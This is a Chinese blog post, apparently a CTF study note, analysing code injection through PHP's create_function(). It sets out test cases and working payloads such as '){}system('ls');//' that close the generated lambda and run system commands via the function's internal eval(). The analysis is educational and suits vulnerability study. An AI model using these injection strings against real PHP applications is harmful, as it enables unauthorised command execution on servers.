文章目录
查看PHP函数源码-暂无
概述
有时候需要查看PHP内置函数的源代码,目标源代码版本是PHP/5.0-7.0版本。值得一提的是,PHP语言是用C编写的。
1.本地搜索-无
PHP源码存储在ext目录下,打开ext目录,发现全是.dll应用程序扩展文件。
设置文件搜索选项,点击左上角的查看,然后点击右上角的选项,勾选“始终搜索文件名和内容”。
搜索框输入"create_function",提示找不到。查看.dll文件,发现都是乱码,不具有可读性。
2.PHP官网-无目标版本
访问PHP官网下载列表:https://www.php.net/downloads。发现目前只提供
PHP/8.0.3、PHP/7.4.16、PHP/7.3.27三个版本的下载资源。
3.Github-无
Github上面有一些PHP的源码分析和注释,但基本都是PHP7以上版本。
意外收获
Github上面有一个项目:https://github.com/threadshare/php。
为刚刚学习php语言以及web网站开发整理的一套资源,有视频,实战代码,学习路径等。
匿名函数create_function(arg,code)
影响和利用场景
在xmctf上面遇到一道PHP审计题目,思路是通过闭合、拼接create_function()函数,实现代码注入的目的。
官网信息
使用版本:(PHP 4 >= 4.0.1, PHP 5, PHP 7.2)
函数原型:create_function ( string $args , string $code ) : string,返回唯一的函数名。
总结
命令注入漏洞场景 | 必用符号 | Payload |
---|---|---|
程序使用create_function()函数,形参有一个可控时 | 分号,大括号 | 亲测分析:){}system(‘ls’);// |
程序使用$a($b)时 | - | 其它题目举例:id=2;}phpinfo();/* |
查看和分析
测试用例1:函数是否需要调用、参数、以及返回值 | 结果 |
---|---|
create_function($a,“echo ‘hello’;”); | 空页面 |
create_function($a) | expects exactly 2 parameters, 1 given |
echo create_function($a,“echo ‘hello’;”); | lambda_15 |
测试用例2:奇怪的报错 | 结果 |
---|---|
create_function($a,"echo ‘’; "); | 正常运行 |
create_function($a,"echo ‘’ "); | syntax error, unexpected ‘}’, expecting ‘,’ or ‘;’ |
推测,在执行匿名函数时,程序执行代码:function lambda_15($a){$b}
。
由于测试用例中echo语句没有加分号,所以报错信息是:unexpected ‘}’。
但那又怎么样呢?
测试用例3:比较exp语句 | 结果 |
---|---|
create_function(){ }; | syntax error, unexpected ‘{’,这种格式都报错 |
create_function("){}system(‘dir’); | syntax error, unexpected ‘{’ |
create_function("){}system(‘dir’);//",’’); | 成功注入,执行命令 |
create_function(")system(‘dir’);//",’’); | unexpected ‘system’,expecting ‘{’ |
$a = ‘){}system(“dir”);//’;create_function($a,’’); | 成功注入,单双引号不能冲突 |
从解析器的角度出发,当匹配到create_function(
时,接下来就会寻找参数,接下来一定一个单引号/双引号。1.系统就会寻找闭合的引号,此时引号内的注释符等会忽略;
2.系统寻找逗号;3.系统寻找一对单/双引号;4.系统寻找)和;。
从函数解析的角度来看,执行是没有问题的。但当这个函数内部代入执行时,
把){}system
带入function lambda_15($a){$b}
,则会产生:
命令执行代码:
function lambda_15( ){}system('ls');// ) {}
值得注意的是,形参好像是不带引号的,不然就是如下代码,很可能无法注入命令
function lambda_15(" ){}xx "){}
第二遍梳理分析
问题1:create_function($a,$b)解释参数时,参数会被双引号包裹吗?简单来讲,参数会被当做字符串吗?比如$a=“hello”;
答:代入参数$a和参数$b时,都不会添加引号,而是原样代入。
解释:测试1create_function("){}system(‘dir’);//",’’);
,注入成功。
问题2:create_function()的作用是创建函数,在这个过程中会执行$code内容吗?
答:正常情况下不会执行,但代码注入时会执行,原因是内置了eval()函数。
解释:测试2create_function('','echo "hello";');
,没有执行代码,但测试1语句执行了代码。原因是闭合了lambda_15()函数,另外拼接执行了注入语句。
问题3:通过闭合拼接的方式,其它函数或语句能实现代码注入吗?
答:一般情况下不会执行,猜测像flask框架一样,对变量进行了编码转义。
解释:PHP官方Warning:This function internally performs an eval()
。
测试file_put_contents(filename,content)函数:
正常语句echo "hello"; file_put_contents("tmp.php",$a);
,成功覆盖写入。
测试$a = "'hi');system('dir');"; file_put_contents("tmp.php",$a);
,没有执行注入。
传参?a='hi');eval(system('dir'));//
,赋值后file_put_contents("tmp.php",$a);
,无。
问题4:create_function()为甚么会出现漏洞?
答:(1)首先因为eval()函数,可以执行代码,eval()函数的代码注入语句如下。
(2)其次通过参数构造,可以满足create_funcktion两个形参,但代入时lambda()时,又可以构成合法的空参函数,从而导致在参数中可以注入语句。
$a= '1;system("dir");';
eval("echo ".$a);
通过比较测试,猜测create_function()是被代入了eval()函数,但{}中的语句在定义时不会被执行。通过闭合大括号,可以达到问题4中eval()的注入效果。
希望以后可以多结合源码进行分析,而不是单纯地把分析建立在测试用例上。
测试用例4:比较exp语句 | 结果 |
---|---|
成功注入语句,create_function("){}system(‘dir’);//",’’); | 成功执行命令 |
不加注释符等,create_function("){system(‘dir’);" | syntax error, unexpected ‘?>’,得加 |
更换}位置,create_function("){system(‘dir’);}//",’’); | 正常的匿名函数,不执行 |
代入Payload执行的语句:function lambda_15( ){}system('ls');// ) {}
参考
《代码审计之create_function()函数 》
https://www.cnblogs.com/-qing-/p/10816089.html
《一道有意思的代码审计(create_function)》,2020-04
https://blog.csdn.net/qq_45808659/article/details/105799699
《[科普向] 解析create_function() && 复现wp》
https://paper.seebug.org/94/
《create_function() 代码注入,,PHP7.2竟然还存在》,2019-05
https://blog.csdn.net/dyw_666666/article/details/90042852